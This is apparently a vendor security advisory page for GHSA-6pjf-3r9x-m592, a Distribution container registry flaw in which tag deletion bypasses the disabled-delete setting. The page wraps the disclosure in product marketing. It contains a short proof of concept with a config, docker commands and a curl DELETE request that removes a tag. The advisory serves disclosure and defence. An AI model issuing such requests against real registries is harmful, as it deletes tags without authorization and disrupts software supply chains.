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GHSA-6pjf-3r9x-m592

GHSA-6pjf-3r9x-m592 is a security vulnerability in github.com/distribution/distribution/v3. O3 Security confirms whether GHSA-6pjf-3r9x-m592 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Distribution's tag deletion bypasses `storage.delete.enabled` configuration

Also known asCVE-2026-41888GO-2026-5185
Published
May 4, 2026
Updated
Jul 21, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Jul 21, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

2 pkgs affected
🐹github.com/distribution/distribution/v3🐹github.com/distribution/distribution

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion.

Details

When storage.delete.enabled is configured to false, digest-based manifest deletion is correctly rejected by the guard in registry/storage/linkedblobstore.go:212-215.

However, tag deletion takes a separate code path that never checks this setting:

In registry/handlers/manifests.go:439-453, DeleteManifest detects a tag reference, calls tagService.Untag(), returns, never consulting registry.deleteEnabled.

In turn, tagStore.Untag() calls the storage driver directly to delete the tag path without checking whether deletes are enabled.

PoC

Using a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as config.yaml:

version: 0.1
storage:
  delete:
    enabled: false
  filesystem:
    rootdirectory: /var/lib/registry
http:
  addr: :5000

Start a local Distribution, mounting in the above configuration from the current directory:

docker run -p 5000:5000 -v "$(pwd)/config.yaml":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml

In a separate terminal session/tab, push alpine:3.23 into the running instance:

docker pull alpine:3.23
docker tag alpine:3.23 localhost:5000/alpine:3.23
docker push localhost:5000/alpine:3.23

Confirm that the tag shows up as expected:

curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":["3.23"]}

Issue a delete for the 3.23 tag:

curl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23'

Observe that the tag is now gone, despite deletes being disabled:

curl 'http://localhost:5000/v2/alpine/tags/list'
{"name":"alpine","tags":null}

Impact

This is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/distribution/distribution/v3all versions3.1.1
🐹Gogithub.com/distribution/distributionall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/distribution/distribution/v3. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/distribution/distribution/v3 to 3.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6pjf-3r9x-m592 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-6pjf-3r9x-m592 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6pjf-3r9x-m592. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Tag deletion via the `DELETE /v2/<name>/manifests/<tag>` endpoint bypasses the `storage.delete.enabled: false` configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. ### Details When `storage.delete.enabled` is configured to false, digest-based manifest deletion is correctly rejected by the guard in [registry/storage/linkedblobstore.go:212-215](https://github.com/distribution/distribution/blob/main/registry/storage/linkedblobstore.go#L213-L215). However, tag deletion takes a separate code path that never
O3 Security · Impact-Aware SCA

Is GHSA-6pjf-3r9x-m592 in your dependencies?

O3 detects GHSA-6pjf-3r9x-m592 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-6pjf-3r9x-m592: v3 Denial of Service | O3 Security